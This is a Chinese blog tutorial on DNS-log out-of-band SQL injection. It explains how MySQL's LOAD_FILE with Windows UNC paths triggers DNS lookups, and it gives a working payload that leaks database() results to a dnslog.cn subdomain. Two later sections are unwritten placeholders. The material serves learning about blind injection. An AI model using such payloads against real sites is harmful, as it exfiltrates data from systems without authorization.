SQL注入之DNS回显注入

SQL注入之DNS回显注入

​ 参考文章:使用DNSLOG拯救你的盲打盲注 - FreeBuf网络安全行业门户

拟解决问题

​ 在测试一些网站得时候,一些网站都是没有回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置IP代理池解决。

​ 但是盲注的效率是非常低的,所以用到了DNSlog注入。

​ 在各种渗透应用中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC,都可以使用到DNS回显注入。

DNSLOG原理

​ DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.cn时DNS的解析过程示意图。

​ 其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

DNSLOG工具

​ 如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

场景一 SQL盲注回显

原理

​ 首先要知道一个函数load_file()和一种命名惯例UNC

  • LOAD_FILE(file_name)读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。而且LOAD_FILE()函数不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的UNCurl发起请求。

  • UNC是一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器。UNC命名惯例最多被应用于局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径。格式:\servername\sharename,其中servername是服务器名,sharename是共享资源的名称。

  • 注意,ndslog回显只能用于Windows系统,原理就是'\\\\'代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用拓展存储程序引发DNS地址解析。


id=1' and load_file(concat("\\\\",(select database()),".2bmfvu.dnslog.cn\\1.txt")) – -

\\\\转义后即为\\\\转义后为\,所以注入语句构造出一个具有UNC形式的url地址,\\security.2bmfvu.dnslog.cn\1.txt注意这个地址中,无论是服务器名还是资源名都是不一定存在的。但是load_file函数会对该url发起请求,而这个url是需要被解析的,DNS一层一层地解析,解析到.2bmfvu.dnslog.cn的DNS服务器上时,在该服务器上会对最终的url地址即security.2bmfvu.dnslog.cn进行解析并用日志记录,自己搭建的dns服务器可以翻看日志记录得到的回显结果,专用的在线dnslog服务器则会将log记录直接显回出来,这样就得到了我们内置的查询语句select database()的结果。

用法

​ 在mysql命令行执行:select load_file('\\\\sqlwords.xxxx.dnslog.cn\\aaa');其中sqlwordsi就是要注入的查询语句

​ 查看平台,dnsLog被记录下来。

使用条件

​ 要用到load_file()函数,需要当前数据库用户有读权限,并且需要设置secure_file_priv。

举例

​ 见我的文章《sqli-labs通关手册》Less-15

场景二 命令执行盲注回显

场景三 XSS绕过CSP

​ 场景2,3等我有空再学

 

 

 

posted @ 2022-01-27 17:09  三木森林  阅读(308)  评论(0编辑  收藏  举报